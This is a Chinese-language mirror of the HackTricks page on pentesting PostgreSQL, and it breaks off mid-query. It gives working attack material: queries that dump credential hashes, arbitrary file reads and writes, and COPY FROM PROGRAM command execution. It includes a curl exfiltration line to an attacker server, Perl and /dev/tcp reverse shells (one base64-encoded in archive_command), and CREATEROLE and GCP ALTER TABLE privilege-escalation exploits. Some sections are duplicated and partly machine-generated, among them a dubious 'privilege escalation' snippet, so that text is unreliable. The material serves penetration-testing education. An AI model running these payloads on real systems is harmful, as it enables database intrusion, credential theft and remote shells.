mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
844 lines
36 KiB
Markdown
844 lines
36 KiB
Markdown
# 5432,5433 - 渗透测试Postgresql
|
||
|
||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
||
\
|
||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## **基本信息**
|
||
|
||
**PostgreSQL**是一个开源的面向对象的关系型数据库系统,使用并扩展了SQL语言。
|
||
|
||
**默认端口:**5432,如果此端口已被使用,PostgreSQL似乎会使用下一个未使用的端口(可能是5433)。
|
||
```
|
||
PORT STATE SERVICE
|
||
5432/tcp open pgsql
|
||
```
|
||
## 连接和基本枚举
|
||
|
||
### Connect to PostgreSQL
|
||
|
||
### 连接到PostgreSQL
|
||
|
||
```bash
|
||
$ psql -h <IP> -p <PORT> -U <USERNAME> -d <DATABASE>
|
||
```
|
||
|
||
```bash
|
||
$ psql -h <IP> -p <PORT> -U <USERNAME> -d <DATABASE>
|
||
```
|
||
|
||
### Basic Enumeration
|
||
|
||
### 基本枚举
|
||
|
||
Once connected to the PostgreSQL database, you can perform basic enumeration to gather information about the database and its contents.
|
||
|
||
一旦连接到PostgreSQL数据库,您可以执行基本枚举来收集有关数据库及其内容的信息。
|
||
|
||
#### List Databases
|
||
|
||
#### 列出数据库
|
||
|
||
```sql
|
||
SELECT datname FROM pg_database;
|
||
```
|
||
|
||
```sql
|
||
SELECT datname FROM pg_database;
|
||
```
|
||
|
||
#### List Tables
|
||
|
||
#### 列出表
|
||
|
||
```sql
|
||
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
|
||
```
|
||
|
||
```sql
|
||
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
|
||
```
|
||
|
||
#### List Columns
|
||
|
||
#### 列出列
|
||
|
||
```sql
|
||
SELECT column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>';
|
||
```
|
||
|
||
```sql
|
||
SELECT column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>';
|
||
```
|
||
|
||
#### Retrieve Data
|
||
|
||
#### 检索数据
|
||
|
||
```sql
|
||
SELECT * FROM <TABLE_NAME>;
|
||
```
|
||
|
||
```sql
|
||
SELECT * FROM <TABLE_NAME>;
|
||
```
|
||
|
||
#### Execute Commands
|
||
|
||
#### 执行命令
|
||
|
||
```sql
|
||
SELECT pg_ls_dir('<DIRECTORY>');
|
||
```
|
||
|
||
```sql
|
||
SELECT pg_ls_dir('<DIRECTORY>');
|
||
```
|
||
|
||
#### Execute OS Commands
|
||
|
||
#### 执行操作系统命令
|
||
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
|
||
SELECT system('<COMMAND>');
|
||
```
|
||
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
|
||
SELECT system('<COMMAND>');
|
||
```
|
||
|
||
#### Read Files
|
||
|
||
#### 读取文件
|
||
|
||
```sql
|
||
SELECT pg_read_file('<FILE_PATH>', 0, 100000);
|
||
```
|
||
|
||
```sql
|
||
SELECT pg_read_file('<FILE_PATH>', 0, 100000);
|
||
```
|
||
|
||
#### Write Files
|
||
|
||
#### 写入文件
|
||
|
||
```sql
|
||
SELECT pg_write_file('<FILE_PATH>', '<DATA>');
|
||
```
|
||
|
||
```sql
|
||
SELECT pg_write_file('<FILE_PATH>', '<DATA>');
|
||
```
|
||
|
||
#### Execute Shell Commands
|
||
|
||
#### 执行Shell命令
|
||
|
||
```sql
|
||
COPY (SELECT system('<COMMAND>')) TO '<OUTPUT_FILE>' WITH (FORMAT csv);
|
||
```
|
||
|
||
```sql
|
||
COPY (SELECT system('<COMMAND>')) TO '<OUTPUT_FILE>' WITH (FORMAT csv);
|
||
```
|
||
|
||
#### Privilege Escalation
|
||
|
||
#### 权限提升
|
||
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
|
||
CREATE OR REPLACE FUNCTION escalate_privileges() RETURNS void AS $$
|
||
BEGIN
|
||
system('<COMMAND>');
|
||
END;
|
||
$$ LANGUAGE plpgsql;
|
||
SELECT escalate_privileges();
|
||
```
|
||
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
|
||
CREATE OR REPLACE FUNCTION escalate_privileges() RETURNS void AS $$
|
||
BEGIN
|
||
system('<COMMAND>');
|
||
END;
|
||
$$ LANGUAGE plpgsql;
|
||
SELECT escalate_privileges();
|
||
```
|
||
```bash
|
||
psql -U <myuser> # Open psql console with user
|
||
psql -h <host> -U <username> -d <database> # Remote connection
|
||
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
|
||
```
|
||
|
||
```sql
|
||
psql -h localhost -d <database_name> -U <User> #Password will be prompted
|
||
\list # List databases
|
||
\c <database> # use the database
|
||
\d # List tables
|
||
\du+ # Get users roles
|
||
|
||
# Get current user
|
||
Select user;
|
||
|
||
# List schemas
|
||
SELECT schema_name,schema_owner FROM information_schema.schemata;
|
||
\dn+
|
||
|
||
#List databases
|
||
SELECT datname FROM pg_database;
|
||
|
||
#Read credentials (usernames + pwd hash)
|
||
SELECT usename, passwd from pg_shadow;
|
||
|
||
# Get languages
|
||
SELECT lanname,lanacl FROM pg_language;
|
||
|
||
# Show installed extensions
|
||
SHOW rds.extensions;
|
||
SELECT * FROM pg_extension;
|
||
|
||
# Get history of commands executed
|
||
\s
|
||
```
|
||
{% hint style="warning" %}
|
||
如果运行 **`\list`** 命令,你发现一个名为 **`rdsadmin`** 的数据库,那么你就知道你在一个 **AWS postgresql 数据库** 中。
|
||
{% endhint %}
|
||
|
||
有关**如何滥用 PostgreSQL 数据库**的更多信息,请查看:
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||
{% endcontent-ref %}
|
||
|
||
## 自动枚举
|
||
```
|
||
msf> use auxiliary/scanner/postgres/postgres_version
|
||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||
```
|
||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||
|
||
### **端口扫描**
|
||
|
||
根据[**这项研究**](https://www.exploit-db.com/papers/13084),当连接尝试失败时,`dblink`会抛出一个`sqlclient_unable_to_establish_sqlconnection`异常,其中包含错误的解释。以下是这些详细信息的示例。
|
||
```sql
|
||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||
port=5678
|
||
user=name
|
||
password=secret
|
||
dbname=abc
|
||
connect_timeout=10');
|
||
```
|
||
* 主机不可用
|
||
|
||
`详细信息:无法连接到服务器:无法到达主机 指定的主机 "1.2.3.4" 上是否运行并接受端口5678的TCP/IP连接?`
|
||
|
||
* 端口已关闭
|
||
```
|
||
DETAIL: could not connect to server: Connection refused Is the server
|
||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||
```
|
||
* 端口是开放的
|
||
```
|
||
DETAIL: server closed the connection unexpectedly This probably means
|
||
the server terminated abnormally before or while processing the request
|
||
```
|
||
或者
|
||
```
|
||
DETAIL: FATAL: password authentication failed for user "name"
|
||
```
|
||
* 端口是开放或被过滤
|
||
```
|
||
DETAIL: could not connect to server: Connection timed out Is the server
|
||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||
```
|
||
不幸的是,在PL/pgSQL函数中无法获取异常的详细信息。但是,如果可以直接连接到PostgreSQL服务器,就可以获取详细信息。如果无法直接从系统表中获取用户名和密码,则前一节中描述的字典攻击可能会成功。
|
||
|
||
## 特权枚举
|
||
|
||
### 角色
|
||
|
||
| 角色类型 | |
|
||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| rolsuper | 角色具有超级用户特权 |
|
||
| rolinherit | 角色自动继承其所属角色的特权 |
|
||
| rolcreaterole | 角色可以创建更多角色 |
|
||
| rolcreatedb | 角色可以创建数据库 |
|
||
| rolcanlogin | 角色可以登录。也就是说,该角色可以作为初始会话授权标识符 |
|
||
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制槽。 |
|
||
| rolconnlimit | 对于可以登录的角色,设置该角色可以建立的并发连接的最大数量。-1表示无限制。 |
|
||
| rolpassword | 不是密码(始终显示为`********`) |
|
||
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果没有过期,则为null |
|
||
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)获取更多信息。 |
|
||
| rolconfig | 运行时配置变量的角色特定默认值 |
|
||
| oid | 角色的ID |
|
||
|
||
#### 有趣的组
|
||
|
||
* 如果您是**`pg_execute_server_program`**的成员,您可以**执行**程序
|
||
* 如果您是**`pg_read_server_files`**的成员,您可以**读取**文件
|
||
* 如果您是**`pg_write_server_files`**的成员,您可以**写入**文件
|
||
|
||
{% hint style="info" %}
|
||
请注意,在Postgres中,**用户**、**组**和**角色**是**相同的**。这只取决于您如何使用它以及是否允许其登录。
|
||
{% endhint %}
|
||
```sql
|
||
# Get users roles
|
||
\du
|
||
|
||
#Get users roles & groups
|
||
# r.rolpassword
|
||
# r.rolconfig,
|
||
SELECT
|
||
r.rolname,
|
||
r.rolsuper,
|
||
r.rolinherit,
|
||
r.rolcreaterole,
|
||
r.rolcreatedb,
|
||
r.rolcanlogin,
|
||
r.rolbypassrls,
|
||
r.rolconnlimit,
|
||
r.rolvaliduntil,
|
||
r.oid,
|
||
ARRAY(SELECT b.rolname
|
||
FROM pg_catalog.pg_auth_members m
|
||
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
||
WHERE m.member = r.oid) as memberof
|
||
, r.rolreplication
|
||
FROM pg_catalog.pg_roles r
|
||
ORDER BY 1;
|
||
|
||
# Check if current user is superiser
|
||
## If response is "on" then true, if "off" then false
|
||
SELECT current_setting('is_superuser');
|
||
|
||
# Try to grant access to groups
|
||
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
|
||
GRANT pg_execute_server_program TO "username";
|
||
GRANT pg_read_server_files TO "username";
|
||
GRANT pg_write_server_files TO "username";
|
||
## You will probably get this error:
|
||
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
||
|
||
# Create new role (user) as member of a role (group)
|
||
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
||
## Common error
|
||
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
||
```
|
||
### 表格
|
||
|
||
In PostgreSQL, a table is a collection of related data organized in rows and columns. Each table has a name and consists of one or more columns, which define the data types and constraints for the values that can be stored in each column. Tables are used to store and organize data in a structured manner.
|
||
|
||
在PostgreSQL中,表格是以行和列组织的相关数据的集合。每个表格都有一个名称,并由一个或多个列组成,这些列定义了可以存储在每个列中的值的数据类型和约束。表格用于以结构化的方式存储和组织数据。
|
||
```sql
|
||
# Get owners of tables
|
||
select schemaname,tablename,tableowner from pg_tables;
|
||
## Get tables where user is owner
|
||
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
|
||
|
||
# Get your permissions over tables
|
||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
|
||
|
||
#Check users privileges over a table (pg_shadow on this example)
|
||
## If nothing, you don't have any permission
|
||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||
```
|
||
### 函数
|
||
|
||
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.
|
||
|
||
在PostgreSQL中,函数是一组命名的代码块,可以通过调用它们的名称来执行。它们用于执行特定的任务,并可以接受参数和返回值。
|
||
|
||
#### Creating Functions
|
||
|
||
#### 创建函数
|
||
|
||
To create a function in PostgreSQL, you can use the `CREATE FUNCTION` statement followed by the function name, input parameters, return type, and the code block enclosed in a `BEGIN` and `END` block.
|
||
|
||
要在PostgreSQL中创建函数,可以使用`CREATE FUNCTION`语句,后跟函数名称、输入参数、返回类型以及用`BEGIN`和`END`块括起来的代码块。
|
||
|
||
```sql
|
||
CREATE FUNCTION function_name(parameter1 type, parameter2 type, ...)
|
||
RETURNS return_type
|
||
AS $$
|
||
BEGIN
|
||
-- Code block
|
||
END;
|
||
$$ LANGUAGE plpgsql;
|
||
```
|
||
|
||
#### Calling Functions
|
||
|
||
#### 调用函数
|
||
|
||
To call a function in PostgreSQL, you can use the `SELECT` statement followed by the function name and the input parameters enclosed in parentheses.
|
||
|
||
要在PostgreSQL中调用函数,可以使用`SELECT`语句,后跟函数名称和用括号括起来的输入参数。
|
||
|
||
```sql
|
||
SELECT function_name(parameter1, parameter2, ...);
|
||
```
|
||
|
||
#### Example
|
||
|
||
#### 示例
|
||
|
||
Let's create a simple function that calculates the sum of two numbers:
|
||
|
||
让我们创建一个简单的函数,计算两个数字的和:
|
||
|
||
```sql
|
||
CREATE FUNCTION sum_numbers(a integer, b integer)
|
||
RETURNS integer
|
||
AS $$
|
||
BEGIN
|
||
RETURN a + b;
|
||
END;
|
||
$$ LANGUAGE plpgsql;
|
||
```
|
||
|
||
Now we can call the `sum_numbers` function to get the sum of two numbers:
|
||
|
||
现在我们可以调用`sum_numbers`函数来获取两个数字的和:
|
||
|
||
```sql
|
||
SELECT sum_numbers(5, 10);
|
||
```
|
||
|
||
This will return the result `15`.
|
||
|
||
这将返回结果`15`。
|
||
```sql
|
||
# Interesting functions are inside pg_catalog
|
||
\df * #Get all
|
||
\df *pg_ls* #Get by substring
|
||
\df+ pg_read_binary_file #Check who has access
|
||
|
||
# Get all functions of a schema
|
||
\df pg_catalog.*
|
||
|
||
# Get all functions of a schema (pg_catalog in this case)
|
||
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
|
||
FROM information_schema.routines
|
||
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
||
WHERE routines.specific_schema='pg_catalog'
|
||
ORDER BY routines.routine_name, parameters.ordinal_position;
|
||
|
||
# Another aparent option
|
||
SELECT * FROM pg_proc;
|
||
```
|
||
## 文件系统操作
|
||
|
||
### 读取目录和文件
|
||
|
||
从这个[**提交**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)中,定义的**`DEFAULT_ROLE_READ_SERVER_FILES`**组(称为**`pg_read_server_files`**)的成员和**超级用户**可以在任何路径上使用**`COPY`**方法(查看`genfile.c`中的`convert_and_check_filename`):
|
||
```sql
|
||
# Read file
|
||
CREATE TABLE demo(t text);
|
||
COPY demo from '/etc/passwd';
|
||
SELECT * FROM demo;
|
||
```
|
||
{% hint style="warning" %}
|
||
请记住,如果您不是超级用户但具有**CREATEROLE**权限,您可以**将自己添加到该组中:**
|
||
```sql
|
||
GRANT pg_read_server_files TO username;
|
||
```
|
||
[**更多信息**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||
{% endhint %}
|
||
|
||
还有一些**其他的postgres函数**可以用来**读取文件或列出目录**。只有**超级用户**和**具有显式权限的用户**可以使用它们:
|
||
```sql
|
||
# Before executing these function go to the postgres DB (not in the template1)
|
||
\c postgres
|
||
## If you don't do this, you might get "permission denied" error even if you have permission
|
||
|
||
select * from pg_ls_dir('/tmp');
|
||
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
||
select * from pg_read_binary_file('/etc/passwd');
|
||
|
||
# Check who has permissions
|
||
\df+ pg_ls_dir
|
||
\df+ pg_read_file
|
||
\df+ pg_read_binary_file
|
||
|
||
# Try to grant permissions
|
||
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
|
||
# By default you can only access files in the datadirectory
|
||
SHOW data_directory;
|
||
# But if you are a member of the group pg_read_server_files
|
||
# You can access any file, anywhere
|
||
GRANT pg_read_server_files TO username;
|
||
# Check CREATEROLE privilege escalation
|
||
```
|
||
您可以在[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)中找到**更多函数**。
|
||
|
||
### 简单的文件写入
|
||
|
||
只有**超级用户**和**`pg_write_server_files`**的成员才能使用copy命令来写入文件。
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
请记住,如果您不是超级用户但具有**`CREATEROLE`**权限,您可以**将自己添加到该组中:**
|
||
```sql
|
||
GRANT pg_write_server_files TO username;
|
||
```
|
||
[**更多信息**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||
{% endhint %}
|
||
|
||
请记住,COPY命令无法处理换行符,因此即使您使用的是base64负载,**您也需要发送一行命令**。\
|
||
这种技术的一个非常重要的限制是,**`copy`命令无法用于写入二进制文件,因为它会修改一些二进制值**。
|
||
|
||
### **上传二进制文件**
|
||
|
||
然而,还有**其他技术可以上传大型二进制文件**:
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
||
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||
{% endcontent-ref %}
|
||
|
||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||
|
||
**Bug赏金提示**:**注册**Intigriti,一个由黑客创建的高级**Bug赏金平台**!立即加入我们:[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
## RCE
|
||
|
||
### **RCE到程序**
|
||
|
||
自从[9.3版本](https://www.postgresql.org/docs/9.3/release-9-3.html)以来,只有**超级用户**和属于**`pg_execute_server_program`**组的成员才能使用copy命令进行RCE(例如,用于数据泄露的示例:
|
||
```sql
|
||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||
```
|
||
示例执行命令:
|
||
```bash
|
||
#PoC
|
||
DROP TABLE IF EXISTS cmd_exec;
|
||
CREATE TABLE cmd_exec(cmd_output text);
|
||
COPY cmd_exec FROM PROGRAM 'id';
|
||
SELECT * FROM cmd_exec;
|
||
DROP TABLE IF EXISTS cmd_exec;
|
||
|
||
#Reverse shell
|
||
#Notice that in order to scape a single quote you need to put 2 single quotes
|
||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||
```
|
||
{% hint style="warning" %}
|
||
请记住,如果您不是超级用户但具有**`CREATEROLE`**权限,您可以**将自己添加到该组中:**
|
||
```sql
|
||
GRANT pg_execute_server_program TO username;
|
||
```
|
||
[**更多信息**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||
{% endhint %}
|
||
|
||
或者使用**metasploit**中的`multi/postgres/postgres_copy_from_program_cmd_exec`模块。有关此漏洞的更多信息[**在这里**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)。尽管被报告为CVE-2019-9193,但Postges宣布这是一个[功能,不会修复](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)。
|
||
|
||
### 使用PostgreSQL语言进行RCE
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
||
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 使用PostgreSQL扩展进行RCE
|
||
|
||
一旦你从之前的帖子中**学会了如何上传二进制文件**,你可以尝试通过上传postgresql扩展并加载它来获得**RCE**。
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||
{% endcontent-ref %}
|
||
|
||
### PostgreSQL配置文件RCE
|
||
|
||
Postgresql的**配置文件**是由运行数据库的**postgres用户**拥有写权限的,因此作为**超级用户**,您可以在文件系统中写入文件,从而可以**覆盖此文件**。
|
||
|
||
![](<../.gitbook/assets/image (303).png>)
|
||
|
||
#### 使用ssl\_passphrase\_command进行RCE
|
||
|
||
配置文件具有一些有趣的属性,可以导致RCE:
|
||
|
||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 数据库私钥的路径
|
||
* `ssl_passphrase_command = ''` 如果私钥文件受密码保护(加密),Postgresql将**执行此属性中指定的命令**。
|
||
* `ssl_passphrase_command_supports_reload = off` 如果此属性为**on**,则在执行`pg_reload_conf()`时,如果密钥受密码保护,将**执行**命令。
|
||
|
||
然后,攻击者需要:
|
||
|
||
1. 从服务器**转储私钥**
|
||
2. **加密**下载的私钥:
|
||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||
3. **覆盖**
|
||
4. **转储**当前的postgresql **配置**
|
||
5. 使用上述属性配置**覆盖**配置:
|
||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||
2. `ssl_passphrase_command_supports_reload = on`
|
||
6. 执行`pg_reload_conf()`
|
||
|
||
在测试中,我注意到这只有在**私钥文件具有640权限**,它是**由root拥有**并且由**ssl-cert或postgres组**拥有(因此postgres用户可以读取它),并且位于_/var/lib/postgresql/12/main_。
|
||
|
||
有关此技术的**更多**[**信息在这里**](https://pulsesecurity.co.nz/articles/postgres-sqli)**。**
|
||
|
||
#### 使用archive\_command进行RCE
|
||
|
||
配置文件中可利用的另一个属性是`archive_command`。
|
||
|
||
要使其工作,`archive_mode`设置必须为`'on'`或`'always'`。如果为真,则可以覆盖`archive_command`中的命令,并通过WAL(预写式日志)操作强制执行它。
|
||
|
||
一般步骤如下:
|
||
|
||
1. 检查是否启用了归档模式:`SELECT current_setting('archive_mode')`
|
||
2. 使用有效载荷覆盖`archive_command`。例如,反向shell:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||
3. 重新加载配置:`SELECT pg_reload_conf()`
|
||
4. 强制运行WAL操作,这将调用归档命令:`SELECT pg_switch_wal()`或某些Postgres版本的`SELECT pg_switch_xlog()`
|
||
|
||
有关此配置和WAL的**更多**[**信息在这里**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**。**
|
||
|
||
## **Postgres权限提升**
|
||
|
||
### CREATEROLE权限提升
|
||
|
||
#### **授权**
|
||
|
||
根据[**文档**](https://www.postgresql.org/docs/13/sql-grant.html):_具有**`CREATEROLE`**权限的角色可以**授予或撤销任何不是超级用户的角色**的成员资格。_
|
||
|
||
因此,如果您拥有**`CREATEROLE`**权限,您可以授予自己访问其他**角色**(不是超级用户)的权限,这可以使您能够读取和写入文件以及执行命令:
|
||
```sql
|
||
# Access to execute commands
|
||
GRANT pg_execute_server_program TO username;
|
||
# Access to read files
|
||
GRANT pg_read_server_files TO username;
|
||
# Access to write files
|
||
GRANT pg_write_server_files TO username;
|
||
```
|
||
#### 修改密码
|
||
|
||
具有此角色的用户还可以更改其他非超级用户的密码:
|
||
```sql
|
||
#Change password
|
||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||
```
|
||
#### 提升为超级用户
|
||
|
||
通常情况下,我们会发现**本地用户可以在 PostgreSQL 中无需提供任何密码就能登录**。因此,一旦你获得了**执行代码的权限**,你可以滥用这些权限来获取**`SUPERUSER`**角色:
|
||
```sql
|
||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||
```
|
||
{% hint style="info" %}
|
||
这通常是由于**`pg_hba.conf`**文件中的以下行导致的:
|
||
```bash
|
||
# "local" is for Unix domain socket connections only
|
||
local all all trust
|
||
# IPv4 local connections:
|
||
host all all 127.0.0.1/32 trust
|
||
# IPv6 local connections:
|
||
host all all ::1/128 trust
|
||
```
|
||
{% endhint %}
|
||
|
||
### **ALTER TABLE提权**
|
||
|
||
在[这篇**文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中,解释了如何通过滥用授予用户的ALTER TABLE权限,在Postgres GCP中进行**提权**。
|
||
|
||
当您尝试将另一个用户设置为表的所有者时,应该会出现**错误**阻止此操作,但显然GCP允许非超级用户postgres用户进行此操作:
|
||
|
||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
将这个想法与以下事实结合起来,即当在具有索引函数的表上执行INSERT/UPDATE/ANALYZE命令时,该函数将作为命令的一部分以表所有者的权限进行调用。可以创建一个带有函数的索引,并将所有者权限授予超级用户,然后使用恶意函数对表进行ANALYZE,该函数将能够执行命令,因为它使用所有者的权限。
|
||
```c
|
||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||
```
|
||
#### 漏洞利用
|
||
|
||
1. 创建一个新表。
|
||
2. 向表中插入一些虚拟内容,以便索引函数有可操作的内容。
|
||
3. 在表上创建一个恶意的索引函数(包含我们的代码执行载荷)。
|
||
4. 将表的所有者更改为 cloudsqladmin,GCP 的超级用户角色,仅由 Cloud SQL 用于维护和管理数据库。
|
||
5. 对表进行 ANALYZE 操作,强制 PostgreSQL 引擎切换到表的所有者(cloudsqladmin)的用户上下文,并使用 cloudsqladmin 权限调用恶意索引函数,从而执行我们之前没有权限执行的 shell 命令。
|
||
|
||
在 PostgreSQL 中,这个流程大致如下:
|
||
```sql
|
||
CREATE TABLE temp_table (data text);
|
||
CREATE TABLE shell_commands_results (data text);
|
||
|
||
INSERT INTO temp_table VALUES ('dummy content');
|
||
|
||
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
||
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
||
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
||
|
||
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
|
||
|
||
ALTER TABLE temp_table OWNER TO cloudsqladmin;
|
||
|
||
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
||
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
||
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
||
|
||
ANALYZE public.temp_table;
|
||
```
|
||
在执行利用SQL查询之后,`shell_commands_results`表中包含了执行代码的输出结果:
|
||
```
|
||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||
```
|
||
### 本地登录
|
||
|
||
一些配置错误的PostgreSQL实例可能允许任何本地用户登录,可以使用**`dblink`函数**从127.0.0.1本地登录:
|
||
```sql
|
||
\du * # Get Users
|
||
\l # Get databases
|
||
SELECT * FROM dblink('host=127.0.0.1
